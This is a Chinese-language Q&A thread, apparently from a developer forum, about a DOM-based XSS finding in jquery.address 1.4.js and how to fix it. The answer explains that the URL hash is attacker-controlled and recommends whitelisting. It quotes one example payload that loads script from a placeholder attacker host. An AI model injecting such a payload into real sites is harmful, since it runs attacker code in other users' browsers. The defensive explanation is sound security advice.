Question

我最近在我的网站上运行了安全扫描，其中一个正在使用的JS文件被标记为有DOM Cross Site Scripting Issue，我不知道如何解决它。

文件：jquery.address1.4.js

以下是标记代码部分的脚本：

_supported = 
            (_mozilla && _version >= 1) || 
            (_msie && _version >= 6) ||
            (_opera && _version >= 9.5) ||
            (_webkit && _version >= 523);

        if (_supported) {
            if (_opera) {
                history.navigationMode = 'compatible';
            }
            if (document.readyState == 'complete') {
                var interval = setInterval(function() {
                    if ($.address) {
                        _load();
                        clearInterval(interval);
                    }
                }, 50);
            } else {
                _options();
                $(_load);
            }
            $(window).bind('popstate', _popstate).bind('unload', _unload);            
        } else if (!_supported && _hrefHash() !== '') {
            _l.replace(_l.href.substr(0, _l.href.indexOf('#')));
        } else {
            _track();
        }

这段代码：

_l.replace(_l.href.substr(0, _l.href.indexOf('#')));

扫描告诉我清理输入，但我不确定它指的是什么，因为我们在网站上没有“输入”。如何修复上面的代码，以便它可以通过安全扫描？

编辑：这是_l

的值

_l = _t.location,

自：

_window = function() {
                try {
                    return top.document !== UNDEFINED ? top : window;
                } catch (e) { 
                    return window;
                }
            },

ID = 'jQueryAddress',
            STRING = 'string',
            HASH_CHANGE = 'hashchange',
            INIT = 'init',
            CHANGE = 'change',
            INTERNAL_CHANGE = 'internalChange',
            EXTERNAL_CHANGE = 'externalChange',
            TRUE = true,
            FALSE = false,
            _opts = {
                autoUpdate: TRUE, 
                crawlable: FALSE,
                history: TRUE, 
                strict: TRUE,
                wrap: FALSE
            },
            _browser = $.browser, 
            _version = parseFloat($.browser.version),
            _mozilla = _browser.mozilla,
            _msie = _browser.msie,
            _opera = _browser.opera,
            _webkit = _browser.webkit || _browser.safari,
            _supported = FALSE,
            _t = _window(),
            _d = _t.document,
            _h = _t.history, 
            _l = _t.location,
            _si = setInterval,
            _st = setTimeout,
            _re = /\/{2,9}/g,
            _agent = navigator.userAgent,            
            _frame,
            _form,
            _url = _search(document),
            _qi = _url ? _url.indexOf('?') : -1,
            _title = _d.title, 
            _silent = FALSE,
            _loaded = FALSE,
            _justset = TRUE,
            _juststart = TRUE,
            _updating = FALSE,
            _listeners = {}, 
            _value = _href();

Answer 1

此示例中的未过滤值将是从您的URL中检索到的哈希值。应该清理URL中前面的“＃”值，以确保攻击者无法在该上下文中提供自己的javascript。

仅仅因为此值可能不是显式用户提供的“输入”，所以没有什么可以阻止恶意用户提供恶意值，如下所示：

#"><script src=http://badguy.com/xss.js />

将在其他用户的上下文中执行。

此示例的有效防御或输入清理将是白名单方法。只接受＃的已知值，不允许攻击者可能提供的任何内容。

这是一个很好的资源来防御基于DOM的XSS https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet我建议您仔细阅读。

安全扫描显示JS脚本文件中的漏洞

1 个答案: